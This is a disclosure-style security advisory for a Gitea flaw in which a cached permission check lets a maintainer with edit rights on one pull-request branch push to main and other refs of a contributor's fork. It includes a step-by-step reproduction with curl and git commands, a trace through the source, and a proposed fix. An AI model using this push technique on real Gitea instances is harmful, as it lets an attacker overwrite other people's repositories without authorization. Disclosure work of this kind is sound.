Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write

First Faulty Condition

Trace Analysis

The following is the path from the attacker's git push to the authorization fault:

1. POST /{owner}/{repo}.git/git-receive-pack → routers/web/repo/githttp.go:437 (ServiceReceivePack) → httpBase() (:60)

   • Access gate is downgraded from Write to Read at :190-192 due to AGit-flow support.

2. git receive-pack invokes the pre-receive hook → cmd/hook.go:184 (runHookPreReceive) → modules/private/hook.go:96 (HookPreReceive) → internal API → routers/private/hook_pre_receive.go:107 (HookPreReceive)

3. Loop at :117 iterates over all refs in the batch. For each branch ref, preReceiveBranch (:140) sets ctx.branchName at :142.

4. Fault: AssertCanWriteCode() (:144) → CanWriteCode() (:55-64).

   • First ref (feature-branch): checkedCanWriteCode is false → evaluates CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user) → returns true (legitimate grant) → caches result.
   • Second ref (main): checkedCanWriteCode is already true → returns cached true without re-evaluating against "main".

5. Hook returns 200 → git receive-pack accepts all refs → main is overwritten in the victim's repository.

Exploitability Assessment

Attack Vector & Reachability

The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.

Reproduction Steps

Environment The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.

Prerequisites:

• a Gitea instance with two users, attacker and victim.

# 1. Attacker creates a repository (e.g., a popular open-source project)
curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \
  -H "Content-Type: application/json" \
  -d '{"name": "project", "auto_init": true}'

# 2. Victim forks attacker's repository (standard contributor workflow)
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \
  -H "Content-Type: application/json" \
  -d '{}'

# 3. Victim creates a feature branch on their fork and commits a change
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "feature-branch", "old_branch_name": "main"}'

curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \
  -H "Content-Type: application/json" \
  -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}'

# 4. Victim opens a PR from their feature branch into attacker/project
#    with "Allow edits from maintainers" enabled
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \
  -H "Content-Type: application/json" \
  -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allow_maintainer_edit": true}'

At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.

Attack

The attacker works from their own repo (attacker/project)

# 5. Attacker clones their own repo
git clone http://attacker:pw@<gitea>/attacker/project.git && cd project

# 6. Attacker fetches the victim's PR branch
git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
git checkout victim-feature-branch

# 7. Attacker adds a commit to the PR branch
echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"

# 8. Attacker also prepares a malicious commit on main
git checkout main
echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"

# 9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit
git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main

# 10. The change on both refs is visible regardless of PR status

Expected result: main should be rejected ("User permission denied for writing").

Actual result: Both refs are accepted. victim/project:main now contains the attacker's malicious commit.

# Verify: victim checks their fork's main branch
curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
# Returns attacker's "MALICIOUS CONTENT" — main has been overwritten

The same technique also works for pushing arbitrary tags (refs/tags/*) and creating new branches.

Recommended Fix

Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hook_pre_receive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.

See diff.patch for the proposed fix.

Patch provenance: AI-generated, human-reviewed.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research